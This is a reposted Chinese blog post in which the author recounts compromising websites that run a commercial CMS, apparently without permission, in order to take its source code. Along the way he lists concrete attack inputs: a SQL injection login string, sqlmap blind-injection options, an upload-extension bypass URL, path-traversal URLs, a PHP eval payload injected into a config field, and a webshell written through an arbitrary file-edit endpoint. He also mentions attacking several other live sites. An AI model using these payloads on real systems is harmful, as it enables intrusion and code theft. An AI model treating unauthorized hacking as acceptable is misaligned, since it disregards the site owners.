内容简介:对某CMS的一次简单渗透测试
好久没有更新博客了,这几天在研究 mysql 注入,想弄个luanmap玩玩。
写了下mysql的报错注入和union注入,顺便拿公司内网的一个系统测试了下,唯一欠缺的地方就是没有用substr截取结果,有时候报错注入的结果显示长度是有限制的,这东西以后再想吧。
准备开始写下mysql的盲注的,想先互联网上找找案例弄。偶然看别人博客,说XXCMS存在若干 SQL 注入但文章需要密码访问,于是心里痒痒,想去搞那个CMS的源码审计看看。
那个CMS是不开源的。于是目标就是渗透这种CMS的网站,然后打包下他的网站文件。
此文纯属YY,懂我的意思吧
原文地址: http://lu4n.com/a-simple-pentest-2017-04-27/
目标站:
先对网站进行敏感目录/文件扫描,结果很失望,封IP了。
换个IP继续,速度慢一点,扫了很久就出来个admin.php
其他页面都是静态的。。。
打开admin.php,自然是后台了。
输入admin,admin测试弱口令。
结果还没点登录就提示,请输入正确的密码。
这应该是用js检测密码的长度,换成123456,可以了。
点登录,提示密码错误。然后出来了个验证码。
然后在用户名加个单引号,输入验证码,再提交。
心里想,要是直接给我个报错注入就爽了。
结果提示用户名不存在。
然后验证码居然还不变,,不用想了,能爆破。
但是我的爆破字典比较弱鸡,爆破成功率令人发指。
继续测试了下,admin’or’a’=’a
然后居然提示我密码错误,看来是有盲注了。
盲注比较慢,我优先选择更好的方法。
继续收集信息搞了半天,***的,全是静态页面,还是先去跑盲注吧。
跑注入大家都会。这里用的sqlmap(等我luanmap写完了回头试试)。
有个小技巧就是确定注入类型了,这里可以直接指定–tech B –dbms mysql
表示是MySQL数据库的布尔盲注,比时间延迟注入还是快很多的。
休息了一会儿结果就出来了。
有两个管理员账号,拿去cmd5.com解密还要收费,试试吐司的MD5解密成功得到密码:mima_lu4n.com
拿去登录后台:
功能挺多的,怎么说也是商业CMS吧。如果就一个简单的发布新闻,傻子才买。
继续做测试。先去找上传点。
编辑文章,发现了两个上传点,一个是Kind Editor编辑器的,另一个是这个CMS自己弄的上传缩约图:
在系统设置模块里看到有两个编辑器可选择:
经过测试这两个编辑器都是不能利用的。(开源的就是比不开源的安全点)
使用CMS自己写的上传功能,抓包得到如下URL:
http://lu4n.com/admin.php?m=fupload&a=commonUpload&opener_id=bannerimg1&height=250&width=500&upload_allowext=png|jpg|gif|bmp
老司机们都能直接看出来,这里居然把允许上传的文件后缀放在GET参数里面,明显可以利用嘛。
构造:
http://lu4n.com/admin.php?m=fupload&a=commonUpload&opener_id=bannerimg1&height=250&width=500&upload_allowext=png|jpg|gif|php
可惜,没有那么简单。上传成功后提示成功。可以没回显出路径来..这怎么可能..一定是我打开方式不对吧
然后仔细看了下burp,发现确实没有回显,可是没有回显他是怎么上传缩约图的呢?
跑去上传个缩约图看看。
额。看来是我的burp抓不到flash上传的数据包吧。。
然后点了下站内选择,看看能不能找到我的php shell.
结果很不错。看了眼url,又是个有问题的地方。
构造下URL:
http://lu4n.com/admin.php?m=ffiles&a=images&opener_id=info_thumb&shower_id=&path=%2F2017/../../../../
可以列目录。
先去找找我的 shell 位置。翻了一会儿在files目录里找到了:
心里一阵暗喜,这垃圾cms。
访问下shell地址:
WTF!?
居然目录设置权限,不能执行 PHP 脚本,我*你**。
这咋办?
最简单的方法,去找别的站,反正是要CMS的源码,又不是非要这个站的权限,等我拿到源码审计出别的漏洞不就更容易了吗
于是我去搞了5,6个别的站测试,我的内心是崩溃的。
全部都是没有执行脚本的权限。。。唯独有一个不是因为没有执行脚本的权限而失败的
那个站都不能写文件进去…
此路不通换条走了。继续测试,发现了这个:
有些CMS,这里的配置是会写个脚本文件里面的,利用那个列目录的漏洞去列了下目录,发现确实有个配置文件。
大概可能也许这里的内容会写进去(后来读文件看了下确实如此)
把水印路径修改成:
','test'=>"${@eval($_POST['luan'])};",'lu4n.com'=>'
然后去连接config.inc.php
然后,他么失败了。。。改成phpinfo(),访问下发现代码没有被执行。
把config.php,config.cache.php.CopyOfconfig.inc.php都试了,都不行。。大概是把单引号转义了把(后来读文件确实如此)
这个方法又不行,这就他么很操蛋了。
继续测试测试功能,发现了这个:
可以新建页面并且可以插模板。
一开始的思路是,新建luan.php页面,然后写shell进去。
设置页面文件名那里是不能修改后缀的,锁定为html,通过抓包强制修改成php。
结果发现行不通,他不会生成文件,而是把页面文件名和内容写入了数据库,然后通过路由从数据库中读取对应的页面内容,即便我改成了luan.php的后缀也是不行的。
换下思路,这里可以使用模板,也许存在任意文件读取。
列目录找个php文件,填入路径,提示成功,然后去访问URL:
他会在模板文件后面添加上.html,抓包分析了下:
把这个ishtml参数改下就可以了,他就不会加.html后缀了。
然后访问我设置的luan.html:
成功读取到文件源码了。
然后我通过这两个漏洞简单读了读这个cms的源码,找到了getshell的方法:
也就是上图中的 FtagAction.class.php文件。没有过滤参数,可以修改任意文件的内容。
构造URL访问:
http://lu4n.com/admin.php?m=ftpl&a=edit&filename=/system/../../../../data/CopyOfconfig.inc.php
在这个配置文件里面插入一句话木马,然后菜刀连接,终于成功getshell。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
深入浅出React和Redux
程墨 / 机械工业出版社 / 2017-4-28 / 69
本书作者是资深开发人员,有过多年的开发经验,总结了自己使用React和Redux的实战经验,系统分析React和Redux结合的优势,与开发技巧,为开发大型系统提供参考。主要内容包括:React的基础知识、如何设计易于维护的React组件、如何使用Redux控制数据流、React和Redux的相结合的方式、同构的React和Redux架构、React和Redux的性能优化、组件的测试等。一起来看看 《深入浅出React和Redux》 这本书的介绍吧!